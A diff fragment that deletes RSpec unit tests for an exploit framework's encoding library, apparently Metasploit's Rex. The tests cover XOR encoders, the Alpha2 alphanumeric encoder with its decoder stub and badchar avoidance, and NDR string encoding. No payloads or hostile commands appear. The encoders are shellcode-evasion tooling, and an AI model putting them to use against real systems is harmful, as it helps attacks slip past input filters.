expect(described_class.decode!("\x41\x41\x41\x41\x00\x00\x00\x01\x41\x00\x00\x00\x00\x00\x00\x01\x42\x42\x42\x42", Integer, String, [Integer])).to eq([0x41414141, "A", [0x42424242]])
end
end
end

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/byte'
require 'spec_helper'
RSpec.describe Rex::Encoding::Xor::Byte do
it_behaves_like "an xor encoder", 1
end

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/dword'
require 'spec_helper'
RSpec.describe Rex::Encoding::Xor::Dword do
it_behaves_like "an xor encoder", 4
end

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/qword'
require 'spec_helper'
RSpec.describe Rex::Encoding::Xor::Qword do
it_behaves_like "an xor encoder", 8
end

View File

@ -1,8 +0,0 @@
# -*- coding: binary -*-
require 'rex/encoding/xor/word'
require 'spec_helper'
RSpec.describe Rex::Encoding::Xor::Word do
it_behaves_like "an xor encoder", 2
end

View File

@ -1,65 +0,0 @@
RSpec.shared_examples_for 'Rex::Encoder::Alpha2::Generic' do
describe ".encode_byte" do
subject(:encoded_byte) { described_class.encode_byte(block, badchars) }
context "when too many badchars" do
let(:block) { 0x41 }
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
it "raises an error" do
expect { encoded_byte }.to raise_error(RuntimeError)
end
end
context "when encoding is possible" do
let(:block) { 0x41 }
let(:badchars) { 'B' }
it "returns two-bytes encoding" do
expect(encoded_byte.length).to eq(2)
end
it "returns encoding without badchars" do
badchars.each_char do |b|
is_expected.to_not include(b)
end
end
end
end
describe ".encode" do
subject(:encoded_result) { described_class.encode(buf, reg, offset, badchars) }
let(:buf) { 'ABCD' }
let(:reg) { 'ECX' }
let(:offset) { 0 }
context "when too many badchars" do
let(:badchars) { (0x00..0xff).to_a.pack("C*") }
it "raises an error" do
expect { encoded_result }.to raise_error(RuntimeError)
end
end
context "when encoding is possible" do
let(:badchars) { '\n' }
it "returns encoding starting with the decoder stub" do
is_expected.to start_with(described_class.gen_decoder(reg, offset))
end
it "returns encoding ending with terminator" do
is_expected.to end_with(described_class.add_terminator)
end
end
end
describe ".add_terminator" do
subject(:terminator) { described_class.add_terminator }
it { is_expected.to eq('AA') }
end
end

View File

@ -1,18 +0,0 @@
RSpec.shared_examples_for "Rex::Encoder::NDR.wstring" do
let(:string) { "ABCD" }
it "encodes the argument as null-terminated unicode string" do
is_expected.to include("A\x00B\x00C\x00D\x00\x00\x00")
end
it "starts encoding string metadata" do
expect(subject.unpack("VVV")[0]).to eq(string.length + 1)
expect(subject.unpack("VVV")[1]).to eq(0)
expect(subject.unpack("VVV")[2]).to eq(string.length + 1)
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 2)
expect(subject.length).to eq(24)
end
end

View File

@ -1,39 +0,0 @@
RSpec.shared_examples_for "Rex::Encoder::NDR.wstring_prebuild" do
context "when 2-byte aligned string length" do
let(:string) { "A\x00B\x00C\x00" }
it "encodes the argument as null-terminated unicode string" do
is_expected.to include("A\x00B\x00C\x00")
end
it "starts encoding string metadata" do
expect(subject.unpack("VVV")[0]).to eq(string.length / 2)
expect(subject.unpack("VVV")[1]).to eq(0)
expect(subject.unpack("VVV")[2]).to eq(string.length / 2)
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 2)
expect(subject.length).to eq(20)
end
end
context "when 2-byte unaligned string length" do
let(:string) { "A\x00B\x00C" }
it "encodes the argument as null-terminated unicode string" do
is_expected.to include("A\x00B\x00C\x00")
end
it "starts encoding string metadata" do
expect(subject.unpack("VVV")[0]).to eq((string.length + 1) / 2)
expect(subject.unpack("VVV")[1]).to eq(0)
expect(subject.unpack("VVV")[2]).to eq((string.length + 1) / 2)
end
it "ends with padding to make result length 32-bits aligned" do
is_expected.to end_with("\x00" * 2)
expect(subject.length).to eq(20)
end
end
end

View File

@ -1,37 +0,0 @@
# -*- coding: binary -*-
RSpec.shared_examples_for 'an xor encoder' do |keysize|
it "should encode one block" do
# Yup it returns one of its arguments in an array... Because spoon.
encoded, key = described_class.encode("A"*keysize, "A"*keysize)
expect(encoded).to eql("\x00"*keysize)
encoded, key = described_class.encode("\x0f"*keysize, "\xf0"*keysize)
expect(encoded).to eql("\xff"*keysize)
encoded, key = described_class.encode("\xf7"*keysize, "\x7f"*keysize)
expect(encoded).to eql("\x88"*keysize)
end
it "should encode multiple blocks" do
2.upto 50 do |count|
encoded, key = described_class.encode("\xf7"*keysize*count, "\x7f"*keysize)
expect(encoded).to eql("\x88"*keysize*count)
end
end
if keysize > 1
it "should deal with input lengths that aren't a multiple of keysize" do
expect {
encoded, key = described_class.encode("A"*(keysize+1), "A"*keysize)
expect(encoded).to eql("\x00"*(keysize+1))
}.not_to raise_error
expect {
encoded, key = described_class.encode("A"*(keysize-1), "A"*keysize)
expect(encoded).to eql("\x00"*(keysize-1))
}.not_to raise_error
end
end
end